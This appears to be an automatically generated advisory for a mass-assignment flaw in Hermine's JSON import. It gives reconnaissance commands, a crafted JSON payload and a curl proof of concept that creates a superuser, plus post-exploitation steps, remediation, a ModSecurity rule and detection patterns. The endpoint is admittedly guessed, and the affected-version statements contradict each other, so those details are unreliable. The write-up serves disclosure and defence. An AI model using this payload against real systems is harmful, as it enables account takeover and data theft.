CVE-2026-144501 — Hermine Project Hermine (0.7.1) — CWE-915
Improperly controlled model selection in the license and generic JSON import of Hermine before 0.7.1 allows an authenticated user with the license or generic import permission to create or overwrite arbitrary database objects, including a superuser account, via a crafted JSON file.
Improperly controlled model selection in the license and generic JSON import of Hermine before 0.7.1 allows an authenticated user with the license or generic import permission to create or overwrite arbitrary database objects, including a superuser account, via a crafted JSON file.
CVE‑2026‑144501 – Hermine 0.7.1 “Improperly Controlled Model Selection”
(All analysis is strictly based on the official CVE entry and the information supplied above.)🎯 What is this vulnerability?
Technical flaw
The Hermine application (v0.7.1 and earlier) exposes two JSON‑based import endpoints – one for “license” data and one for “generic” data.
Both endpoints accept a JSON payload that contains a model field, which the server uses to decide which ORM model (i.e., database table) to instantiate.
The code performs no validation of the model value against a whitelist of allowed models.
Consequently, an authenticated user who has the license or generic import permission can supply any arbitrary model name, including internal system models such as User or SuperUser.
Because the import logic blindly creates or updates the specified model instance, the attacker can:
1. Create a new user record with any attributes they choose.
2. Overwrite an existing record (e.g., an existing super‑user account) by supplying the same primary key.
3. Elevate privileges by creating a new account with role: superuser or by modifying an existing account’s role.
This is a classic “arbitrary database object creation / overwrite” flaw, mapped to CWE‑915 (Improper Control of Model/Entity Instantiation).
Authentication/Authorization
The vulnerability requires the user to be authenticated and to possess either the license import or generic import permission.
These permissions are typically granted to users who can upload license files or perform generic data imports – a role that is not normally trusted with full system administration.
Impact
- Confidentiality – attacker can read any data via the newly created super‑user account.
- Integrity – attacker can modify or delete arbitrary database rows.
- Availability – attacker can delete critical records (e.g., all users), causing denial of service.
⚡ Attack Chain
NOTE: The exact URI for the import endpoints is not specified in the CVE description.
The following example uses /api/import as a representative endpoint that demonstrates the vulnerability class.
Replace it with the real endpoint discovered during reconnaissance.
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| Service Identification | Scan for HTTP(S) services and enumerate Hermine | nmap -sV -p80,443 <target> |
| Version Fingerprinting | Query a known endpoint that returns a version header or JSON | curl -sI https://<target>/api/version |
| Permission Enumeration | Attempt to access the import endpoint as a low‑privileged user | curl -s -u user:pass https://<target>/api/import |
| Privilege Confirmation | Verify that the user has *license* or *generic import* rights (often indicated in the response or via a separate permissions API) | curl -s -u user:pass https://<target>/api/permissions |
2. Exploitation
Goal: Create a new super‑user account.
Crafted JSON payload
{
"model": "User",
"data": {
"username": "admin_exploit",
"password_hash": "$2b$12$KIXyX5e5K5Z9Yy5Z9Yy5Z9Yy5Z9Yy5Z9Yy5Z9Yy5Z9Yy5Z9Yy5Z9Yy", // bcrypt placeholder
"role": "superuser",
"email": "[email protected]"
}
}cURL PoC (illustrative)
curl -X POST https://<target>/api/import \
-H "Content-Type: application/json" \
-u attacker:attackerpass \
-d @payload.jsonExplanation of the PoC
model field is set to User, which is the internal ORM model for user accounts. role attribute is set to superuser. model, the request is accepted and the server creates a new User record with the supplied attributes.Verification
curl -u admin_exploit:password https://<target>/api/user/meIf the response shows the user’s role as superuser, the attack succeeded.
3. Post‑Exploitation
| Step | Action | Outcome |
|---|---|---|
| Privilege Escalation | Log in as the newly created super‑user | Full administrative access to the Hermine instance |
| Data Exfiltration | Use the super‑user account to query sensitive tables or export data via existing APIs | Retrieve confidential data |
| Persistence | Create additional privileged accounts or modify system configuration | Maintain long‑term control |
| Denial of Service | Delete critical tables or truncate user data | Disrupt service availability |
🌍 Real World Impact
| CVSS Dimension | Value | Interpretation |
|---|---|---|
| Confidentiality | High (H) | Full read access to all data via the super‑user account. |
| Integrity | High (H) | Arbitrary modification or deletion of any database row. |
| Availability | High (H) | Potential to delete critical data or lock out legitimate users. |
| Attack Vector | Network (N) | Remote exploitation over HTTP(S). |
| Attack Complexity | Low (L) | Requires only an authenticated session with import permission. |
| Privileges Required | Low (L) | No admin rights needed; only import permission. |
| User Interaction | None (N) | No UI interaction required. |
| Scope | Unchanged (U) | The vulnerability does not affect other logical components. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Fix |
|---|---|
0.7.0 and earlier | Upgrade to Hermine 0.7.1 or later. The patch validates the model field against a whitelist and enforces strict permission checks. |
Upgrade procedure
# Backup current database
pg_dump -U hermine_user hermine_db > hermine_backup.sql
# Stop Hermine service
systemctl stop hermine
# Install new package
apt-get update && apt-get install hermine=0.7.1
# Restore database if needed
# (usually not required if schema is backward compatible)2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Restrict import endpoints | Configure the web server to allow POST /api/import only for users with the admin role. Example Nginx snippet: |
``nginx<br>location = /api/import {<br> auth_basic "Restricted";<br> auth_basic_user_file /etc/nginx/.htpasswd;<br> # Only allow admin users via .htpasswd<br>}<br>` | |
| WAF / ModSecurity rule | Block requests containing a model field that is not in the allowed list. Example ModSecurity rule: |
`modsecurity<br>SecRule REQUEST_HEADERS:Content-Type "application/json" "phase:2,pass,nolog,ctl:ruleEngine=On"<br>SecRule REQUEST_BODY "@rx \"\\\"model\\\":\\s*\\\"[^\\\"]+\\\"\"" "phase:2,deny,log,msg:'Disallowed model field in JSON import'"<br>`` | |
| Disable generic import | If the generic import is not required, disable the endpoint via application configuration or by removing the route. |
3. Detection
| Indicator | Log Pattern | How to Detect |
|---|---|---|
| Suspicious POST to import endpoint | POST /api/import | Search web server logs for POST requests to /api/import with Content-Type: application/json. |
Unusual model values | model":"User" or model":"SuperUser" | Use a log‑analysis tool to flag any model field that is not in the whitelist. |
| New super‑user creation | CREATE USER or INSERT INTO users with role='superuser' | Monitor database logs or audit trails for role changes. |
| Privilege escalation attempts | Authentication failures followed by successful login as admin_exploit | Correlate authentication logs with application logs. |
Sample log entry (illustrative)
2026-12-03T14:22:07Z 192.168.1.100 POST /api/import 200
User-Agent: curl/7.68.0
Content-Type: application/json
Payload: {"model":"User","data":{"username":"admin_exploit","role":"superuser"}}⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query